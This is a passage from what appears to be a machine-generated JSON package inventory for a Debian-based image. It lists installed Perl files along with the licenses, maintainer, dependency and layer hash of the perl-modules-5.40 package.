"/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/9000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Nv/90000.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/PCM/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/PatSyn/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Alnum.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Assigned.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Blank.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Graph.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/PerlWord.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/PosixPun.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Print.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/SpacePer.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Title.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/Word.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/XPosixPu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlAny.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlCh2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlCha.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlFol.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlIDC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlIDS.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlIsI.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlNch.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlPat.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlPr2.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlPro.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Perl/_PerlQuo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/QMark/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/AT.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/CL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/EX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/FO.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/LE.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/LO.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/NU.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/SC.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/ST.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/Sp.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/UP.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SB/XX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/SD/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/STerm/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Arab.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Beng.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Cprt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Cyrl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Deva.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Dupl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Geor.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Glag.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Gong.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Gonm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Gran.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Grek.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Gujr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Guru.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Han.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Hang.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Hira.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Kana.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Knda.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Latn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Limb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Linb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Mlym.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Mong.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Mult.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Orya.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Sinh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Syrc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Taml.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Telu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Zinh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Sc/Zyyy.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Adlm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Arab.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Armn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Beng.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Bhks.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Bopo.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Cakm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Cham.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Copt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Cprt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Cyrl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Deva.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Diak.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Dupl.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Ethi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Geor.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Glag.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Gong.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Gonm.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Gran.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Grek.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Gujr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Guru.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Han.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Hang.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Hebr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Hira.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Hmng.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Hmnp.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Kana.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Khar.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Khmr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Khoj.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Knda.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Kthi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Lana.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Lao.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Latn.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Limb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Lina.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Linb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Mlym.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Mong.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Mult.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Mymr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Nand.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Nko.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Orya.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Phlp.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Rohg.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Shrd.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Sind.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Sinh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Syrc.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Tagb.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Takr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Talu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Taml.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Tang.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Telu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Thaa.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Tibt.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Tirh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Vith.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Xsux.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Yezi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Yi.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Zinh.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Zyyy.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Scx/Zzzz.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Term/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/UIdeo/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Upper/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/VS/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Vo/R.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Vo/Tr.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Vo/Tu.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/Vo/U.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/EX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/Extend.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/FO.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/HL.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/KA.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/LE.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/MB.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/ML.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/MN.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/NU.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/WSegSpac.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/WB/XX.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/XIDC/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/unicore/lib/XIDS/Y.pl", "/usr/lib/x86_64-linux-gnu/perl-base/utf8.pm", "/usr/lib/x86_64-linux-gnu/perl-base/vars.pm", "/usr/lib/x86_64-linux-gnu/perl-base/warnings.pm", "/usr/lib/x86_64-linux-gnu/perl-base/warnings/register.pm", "/usr/share/doc/perl-base/changelog.Debian.gz", "/usr/share/doc/perl-base/changelog.gz", "/usr/share/doc/perl-base/copyright", "/usr/share/doc/perl/AUTHORS.gz", "/usr/share/doc/perl/Documentation", "/usr/share/lintian/overrides/perl-base", "/usr/share/man/man1/perl.1.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "perl-modules-5.40@5.40.1-6", "Name": "perl-modules-5.40", "Identifier": { "PURL": "pkg:deb/debian/perl-modules-5.40@5.40.1-6?arch=all\u0026distro=debian-13.3", "UID": "9bd83fa4dd131a41" }, "Version": "5.40.1", "Release": "6", "Arch": "all", "SrcName": "perl", "SrcVersion": "5.40.1", "SrcRelease": "6", "Licenses": [ "GPL-1.0-or-later", "Artistic-2.0", "MIT", "REGCOMP", "GPL-2.0-with-bison-exception+", "Unicode", "BZIP", "Zlib", "GPL-2.0-or-later", "FSFAP", "BSD-3-clause-with-weird-numbering", "CC0-1.0", "TEXT-TABS", "BSD-4-clause-POWERDOG", "BSD-3-clause-GENERIC", "BSD-3-Clause", "SDBM-PUBLIC-DOMAIN", "DONT-CHANGE-THE-GPL", "Artistic-dist", "LGPL-2.1-only", "GPL-1.0-only", "GPL-2.0-only", "Artistic-2" ], "Maintainer": "Niko Tyni \u003cntyni@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "perl-base@5.40.1-6" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/share/doc/perl-modules-5.40/README.Debian", "/usr/share/doc/perl-modules-5.40/changelog.Debian.gz", "/usr/share/doc/perl-modules-5.40/changelog.gz", "/usr/share/doc/perl-modules-5.40/copyright", "/usr/share/perl/5.40.1/AnyDBM_File.pm", "/usr/share/perl/5.40.1/App/Cpan.pm", "/usr/share/perl/5.40.1/App/Prove.pm", "/usr/share/perl/5.40.1/App/Prove/State.pm", "/usr/share/perl/5.40.1/App/Prove/State/Result.pm", "/usr/share/perl/5.40.1/App/Prove/State/Result/Test.pm", "/usr/share/perl/5.40.1/Archive/Tar.pm", "/usr/share/perl/5.40.1/Archive/Tar/Constant.pm", "/usr/share/perl/5.40.1/Archive/Tar/File.pm", "/usr/share/perl/5.40.1/Attribute/Handlers.pm", "/usr/share/perl/5.40.1/AutoLoader.pm", "/usr/share/perl/5.40.1/AutoSplit.pm", "/usr/share/perl/5.40.1/B/Deparse.pm", "/usr/share/perl/5.40.1/B/Op_private.pm", "/usr/share/perl/5.40.1/Benchmark.pm", "/usr/share/perl/5.40.1/CORE.pod", "/usr/share/perl/5.40.1/CPAN.pm", "/usr/share/perl/5.40.1/CPAN/API/HOWTO.pod", "/usr/share/perl/5.40.1/CPAN/Author.pm", "/usr/share/perl/5.40.1/CPAN/Bundle.pm", "/usr/share/perl/5.40.1/CPAN/CacheMgr.pm", "/usr/share/perl/5.40.1/CPAN/Complete.pm", "/usr/share/perl/5.40.1/CPAN/Debug.pm", "/usr/share/perl/5.40.1/CPAN/DeferredCode.pm", "/usr/share/perl/5.40.1/CPAN/Distribution.pm", "/usr/share/perl/5.40.1/CPAN/Distroprefs.pm", "/usr/share/perl/5.40.1/CPAN/Distrostatus.pm", "/usr/share/perl/5.40.1/CPAN/Exception/RecursiveDependency.pm", "/usr/share/perl/5.40.1/CPAN/Exception/blocked_urllist.pm", "/usr/share/perl/5.40.1/CPAN/Exception/yaml_not_installed.pm", "/usr/share/perl/5.40.1/CPAN/Exception/yaml_process_error.pm", "/usr/share/perl/5.40.1/CPAN/FTP.pm", "/usr/share/perl/5.40.1/CPAN/FTP/netrc.pm", "/usr/share/perl/5.40.1/CPAN/FirstTime.pm", "/usr/share/perl/5.40.1/CPAN/HTTP/Client.pm", "/usr/share/perl/5.40.1/CPAN/HTTP/Credentials.pm", "/usr/share/perl/5.40.1/CPAN/HandleConfig.pm", "/usr/share/perl/5.40.1/CPAN/Index.pm", "/usr/share/perl/5.40.1/CPAN/InfoObj.pm", "/usr/share/perl/5.40.1/CPAN/Kwalify.pm", "/usr/share/perl/5.40.1/CPAN/Kwalify/distroprefs.dd", "/usr/share/perl/5.40.1/CPAN/Kwalify/distroprefs.yml", "/usr/share/perl/5.40.1/CPAN/LWP/UserAgent.pm", "/usr/share/perl/5.40.1/CPAN/Meta.pm", "/usr/share/perl/5.40.1/CPAN/Meta/Converter.pm", "/usr/share/perl/5.40.1/CPAN/Meta/Feature.pm", "/usr/share/perl/5.40.1/CPAN/Meta/History.pm", "/usr/share/perl/5.40.1/CPAN/Meta/History/Meta_1_0.pod", "/usr/share/perl/5.40.1/CPAN/Meta/History/Meta_1_1.pod", "/usr/share/perl/5.40.1/CPAN/Meta/History/Meta_1_2.pod", "/usr/share/perl/5.40.1/CPAN/Meta/History/Meta_1_3.pod", "/usr/share/perl/5.40.1/CPAN/Meta/History/Meta_1_4.pod", "/usr/share/perl/5.40.1/CPAN/Meta/Merge.pm", "/usr/share/perl/5.40.1/CPAN/Meta/Prereqs.pm", "/usr/share/perl/5.40.1/CPAN/Meta/Requirements.pm", "/usr/share/perl/5.40.1/CPAN/Meta/Requirements/Range.pm", "/usr/share/perl/5.40.1/CPAN/Meta/Spec.pm", "/usr/share/perl/5.40.1/CPAN/Meta/Validator.pm", "/usr/share/perl/5.40.1/CPAN/Meta/YAML.pm", "/usr/share/perl/5.40.1/CPAN/Mirrors.pm", "/usr/share/perl/5.40.1/CPAN/Module.pm", "/usr/share/perl/5.40.1/CPAN/Nox.pm", "/usr/share/perl/5.40.1/CPAN/Plugin.pm", "/usr/share/perl/5.40.1/CPAN/Plugin/Specfile.pm", "/usr/share/perl/5.40.1/CPAN/Prompt.pm", "/usr/share/perl/5.40.1/CPAN/Queue.pm", "/usr/share/perl/5.40.1/CPAN/Shell.pm", "/usr/share/perl/5.40.1/CPAN/Tarzip.pm", "/usr/share/perl/5.40.1/CPAN/URL.pm", "/usr/share/perl/5.40.1/CPAN/Version.pm", "/usr/share/perl/5.40.1/Carp.pm", "/usr/share/perl/5.40.1/Carp/Heavy.pm", "/usr/share/perl/5.40.1/Class/Struct.pm", "/usr/share/perl/5.40.1/Compress/Zlib.pm", "/usr/share/perl/5.40.1/Config/Extensions.pm", "/usr/share/perl/5.40.1/Config/Perl/V.pm", "/usr/share/perl/5.40.1/DB.pm", "/usr/share/perl/5.40.1/DBM_Filter.pm", "/usr/share/perl/5.40.1/DBM_Filter/compress.pm", "/usr/share/perl/5.40.1/DBM_Filter/encode.pm", "/usr/share/perl/5.40.1/DBM_Filter/int32.pm", "/usr/share/perl/5.40.1/DBM_Filter/null.pm", "/usr/share/perl/5.40.1/DBM_Filter/utf8.pm", "/usr/share/perl/5.40.1/Devel/SelfStubber.pm", "/usr/share/perl/5.40.1/Digest.pm", "/usr/share/perl/5.40.1/Digest/base.pm", "/usr/share/perl/5.40.1/Digest/file.pm", "/usr/share/perl/5.40.1/DirHandle.pm", "/usr/share/perl/5.40.1/Dumpvalue.pm", "/usr/share/perl/5.40.1/Encode/Changes.e2x", "/usr/share/perl/5.40.1/Encode/ConfigLocal_PM.e2x", "/usr/share/perl/5.40.1/Encode/Makefile_PL.e2x", "/usr/share/perl/5.40.1/Encode/PerlIO.pod", "/usr/share/perl/5.40.1/Encode/README.e2x", "/usr/share/perl/5.40.1/Encode/Supported.pod", "/usr/share/perl/5.40.1/Encode/_PM.e2x", "/usr/share/perl/5.40.1/Encode/_T.e2x", "/usr/share/perl/5.40.1/Encode/encode.h", "/usr/share/perl/5.40.1/English.pm", "/usr/share/perl/5.40.1/Env.pm", "/usr/share/perl/5.40.1/Exporter.pm", "/usr/share/perl/5.40.1/Exporter/Heavy.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Base.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/Unix.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/VMS.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/Windows.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/Windows/BCC.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/Windows/GCC.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/Windows/MSVC.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/aix.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/android.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/cygwin.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/darwin.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/dec_osf.pm", "/usr/share/perl/5.40.1/ExtUtils/CBuilder/Platform/os2.pm", "/usr/share/perl/5.40.1/ExtUtils/Command.pm", "/usr/share/perl/5.40.1/ExtUtils/Command/MM.pm", "/usr/share/perl/5.40.1/ExtUtils/Constant.pm", "/usr/share/perl/5.40.1/ExtUtils/Constant/Base.pm", "/usr/share/perl/5.40.1/ExtUtils/Constant/ProxySubs.pm", "/usr/share/perl/5.40.1/ExtUtils/Constant/Utils.pm", "/usr/share/perl/5.40.1/ExtUtils/Constant/XS.pm", "/usr/share/perl/5.40.1/ExtUtils/Embed.pm", "/usr/share/perl/5.40.1/ExtUtils/Install.pm", "/usr/share/perl/5.40.1/ExtUtils/Installed.pm", "/usr/share/perl/5.40.1/ExtUtils/Liblist.pm", "/usr/share/perl/5.40.1/ExtUtils/Liblist/Kid.pm", "/usr/share/perl/5.40.1/ExtUtils/MANIFEST.SKIP", "/usr/share/perl/5.40.1/ExtUtils/MM.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_AIX.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_Any.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_BeOS.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_Cygwin.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_DOS.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_Darwin.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_MacOS.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_NW5.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_OS2.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_OS390.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_QNX.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_UWIN.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_Unix.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_VMS.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_VOS.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_Win32.pm", "/usr/share/perl/5.40.1/ExtUtils/MM_Win95.pm", "/usr/share/perl/5.40.1/ExtUtils/MY.pm", "/usr/share/perl/5.40.1/ExtUtils/MakeMaker.pm", "/usr/share/perl/5.40.1/ExtUtils/MakeMaker/Config.pm", "/usr/share/perl/5.40.1/ExtUtils/MakeMaker/FAQ.pod", "/usr/share/perl/5.40.1/ExtUtils/MakeMaker/Locale.pm", "/usr/share/perl/5.40.1/ExtUtils/MakeMaker/Tutorial.pod", "/usr/share/perl/5.40.1/ExtUtils/MakeMaker/version.pm", "/usr/share/perl/5.40.1/ExtUtils/Manifest.pm", "/usr/share/perl/5.40.1/ExtUtils/Miniperl.pm", "/usr/share/perl/5.40.1/ExtUtils/Mkbootstrap.pm", "/usr/share/perl/5.40.1/ExtUtils/Mksymlists.pm", "/usr/share/perl/5.40.1/ExtUtils/PL2Bat.pm", "/usr/share/perl/5.40.1/ExtUtils/Packlist.pm", "/usr/share/perl/5.40.1/ExtUtils/ParseXS.pm", "/usr/share/perl/5.40.1/ExtUtils/ParseXS.pod", "/usr/share/perl/5.40.1/ExtUtils/ParseXS/Constants.pm", "/usr/share/perl/5.40.1/ExtUtils/ParseXS/CountLines.pm", "/usr/share/perl/5.40.1/ExtUtils/ParseXS/Eval.pm", "/usr/share/perl/5.40.1/ExtUtils/ParseXS/Utilities.pm", "/usr/share/perl/5.40.1/ExtUtils/Typemaps.pm", "/usr/share/perl/5.40.1/ExtUtils/Typemaps/Cmd.pm", "/usr/share/perl/5.40.1/ExtUtils/Typemaps/InputMap.pm", "/usr/share/perl/5.40.1/ExtUtils/Typemaps/OutputMap.pm", "/usr/share/perl/5.40.1/ExtUtils/Typemaps/Type.pm", "/usr/share/perl/5.40.1/ExtUtils/testlib.pm", "/usr/share/perl/5.40.1/ExtUtils/typemap", "/usr/share/perl/5.40.1/ExtUtils/xsubpp", "/usr/share/perl/5.40.1/Fatal.pm", "/usr/share/perl/5.40.1/File/Basename.pm", "/usr/share/perl/5.40.1/File/Compare.pm", "/usr/share/perl/5.40.1/File/Copy.pm", "/usr/share/perl/5.40.1/File/Fetch.pm", "/usr/share/perl/5.40.1/File/Find.pm", "/usr/share/perl/5.40.1/File/GlobMapper.pm", "/usr/share/perl/5.40.1/File/Path.pm", "/usr/share/perl/5.40.1/File/Temp.pm", "/usr/share/perl/5.40.1/File/stat.pm", "/usr/share/perl/5.40.1/FileCache.pm", "/usr/share/perl/5.40.1/FileHandle.pm", "/usr/share/perl/5.40.1/Filter/Simple.pm", "/usr/share/perl/5.40.1/FindBin.pm", "/usr/share/perl/5.40.1/Getopt/Long.pm", "/usr/share/perl/5.40.1/Getopt/Long/Parser.pm", "/usr/share/perl/5.40.1/Getopt/Std.pm", "/usr/share/perl/5.40.1/HTTP/Tiny.pm", "/usr/share/perl/5.40.1/I18N/Collate.pm", "/usr/share/perl/5.40.1/I18N/LangTags.pm", "/usr/share/perl/5.40.1/I18N/LangTags/Detect.pm", "/usr/share/perl/5.40.1/I18N/LangTags/List.pm", "/usr/share/perl/5.40.1/IO/Compress/Adapter/Bzip2.pm", "/usr/share/perl/5.40.1/IO/Compress/Adapter/Deflate.pm", "/usr/share/perl/5.40.1/IO/Compress/Adapter/Identity.pm", "/usr/share/perl/5.40.1/IO/Compress/Base.pm", "/usr/share/perl/5.40.1/IO/Compress/Base/Common.pm", "/usr/share/perl/5.40.1/IO/Compress/Bzip2.pm", "/usr/share/perl/5.40.1/IO/Compress/Deflate.pm", "/usr/share/perl/5.40.1/IO/Compress/FAQ.pod", "/usr/share/perl/5.40.1/IO/Compress/Gzip.pm", "/usr/share/perl/5.40.1/IO/Compress/Gzip/Constants.pm", "/usr/share/perl/5.40.1/IO/Compress/RawDeflate.pm", "/usr/share/perl/5.40.1/IO/Compress/Zip.pm", "/usr/share/perl/5.40.1/IO/Compress/Zip/Constants.pm", "/usr/share/perl/5.40.1/IO/Compress/Zlib/Constants.pm", "/usr/share/perl/5.40.1/IO/Compress/Zlib/Extra.pm", "/usr/share/perl/5.40.1/IO/Socket/IP.pm", "/usr/share/perl/5.40.1/IO/Uncompress/Adapter/Bunzip2.pm", "/usr/share/perl/5.40.1/IO/Uncompress/Adapter/Identity.pm", "/usr/share/perl/5.40.1/IO/Uncompress/Adapter/Inflate.pm", "/usr/share/perl/5.40.1/IO/Uncompress/AnyInflate.pm", "/usr/share/perl/5.40.1/IO/Uncompress/AnyUncompress.pm", 